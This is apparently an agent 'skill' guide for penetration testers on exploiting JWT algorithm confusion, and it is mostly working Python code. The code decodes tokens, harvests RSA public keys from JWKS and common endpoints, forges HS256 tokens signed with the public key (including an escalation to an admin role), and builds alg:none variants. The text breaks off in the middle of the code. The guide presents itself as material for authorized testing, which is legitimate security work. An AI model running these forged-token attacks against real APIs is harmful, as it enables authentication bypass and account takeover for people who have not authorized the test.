exploiting-jwt-algorithm-confusion-attack

What this skill does

# Exploiting JWT Algorithm Confusion Attack

## When to Use

- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
- Assessing JWT implementations for alg:none bypass where the server skips signature verification
- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
- Validating that the API server enforces a specific algorithm and does not trust the JWT header

**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

## Prerequisites

- Written authorization specifying the target API and JWT-based authentication in scope
- A valid JWT token from the target API (obtained through legitimate authentication)
- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries
- jwt_tool for automated JWT attack testing
- Burp Suite with JWT Editor extension


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1: JWT Token Analysis

```python
import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "[email protected]", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
```

### Step 2: Obtain the Public Key

```python
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")
```

### Step 3: Algorithm Confusion Attack (RS256 to HS256)

```python
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
    If the server uses a generic verify() that trusts the alg header, it will use
    the public key as the HMAC secret, matching our signature.
    """
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    # Modify payload if requested
    if modifications:
        payload.update(modifications)

    # Create header with HS256
    new_header = {"alg": "HS256", "typ": "JWT"}

    # Encode header and payload
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(new_header).encode()).decode().rstrip('=')
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Sign with HMAC-SHA256 using the RSA public key as the secret
    signing_input = f"{header_b64}.{payload_b64}".encode()

    # Use the raw PEM bytes as the HMAC key
    if isinstance(public_key_pem, str):
        public_key_pem = public_key_pem.encode()

    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')

    return f"{header_b64}.{payload_b64}.{sig_b64}"

# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")

# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
    modifications={"role": "admin", "sub": "[email protected]"})
resp = requests.get(f"{BASE_URL}/admin/users",
    headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

# Attack 3: Try different public key formats
key_formats = [
    public_key_pem,                                    # Full PEM
    public_key_pem.strip(),                            # Stripped whitespace
    public_key_pem.replace(b'\n', b''),               # No newlines
    public_key_pem.decode().split('\n')[1:-1],        # Base64 only
]

for i, key_format in enumerate(key_formats):
    if isinstance(key_format, list):
        key_format = ''.join(key_format).encode()
    elif isinstance(key_format, str):
        key_format = key_format.encode()

    token = forge_hs256_with_public_key(valid_token, key_format)
    resp = requests.get(f"{BASE_URL}/users/me",
        headers={"Authorization": f"Bearer {token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
```

### Step 4: Algorithm None Attack

```python
def forge_none_algorithm(token, modifications=None):
    """Create tokens with alg:none variations to bypass signature verification."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

    if modifications:
        payload.update(modifications)

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload).encode()).decode().rstrip('=')

    # Different "none" algorithm variations
    none_variants = [
        {"alg": "none", "typ": "JWT"},
        {"alg": "None", "typ": "JWT"},
        {"alg": "NONE", "typ": "JWT"},
        {"alg": "nOnE", "typ": "JWT"},
        {"typ": "JWT"},  # Missing alg entirely
    ]

    tokens =